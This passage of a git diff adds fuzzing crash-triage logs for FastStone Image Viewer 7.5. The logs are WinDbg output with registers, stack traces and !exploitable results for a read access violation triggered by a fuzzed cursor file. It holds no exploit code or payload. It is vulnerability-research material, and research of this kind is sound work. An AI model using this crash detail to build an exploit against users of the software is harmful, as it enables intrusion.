+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c058592 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..548a2b7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(dd4.1c8c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e87b10 edx=00003879 esi=12738f10 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-25619.1 2.00977e-025 -34852.7 2.9945e-011 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00393000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00393000 6e798393 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00393000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..548a2b7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(dd4.1c8c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e87b10 edx=00003879 esi=12738f10 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-25619.1 2.00977e-025 -34852.7 2.9945e-011 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00393000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00393000 6e798393 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00393000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ 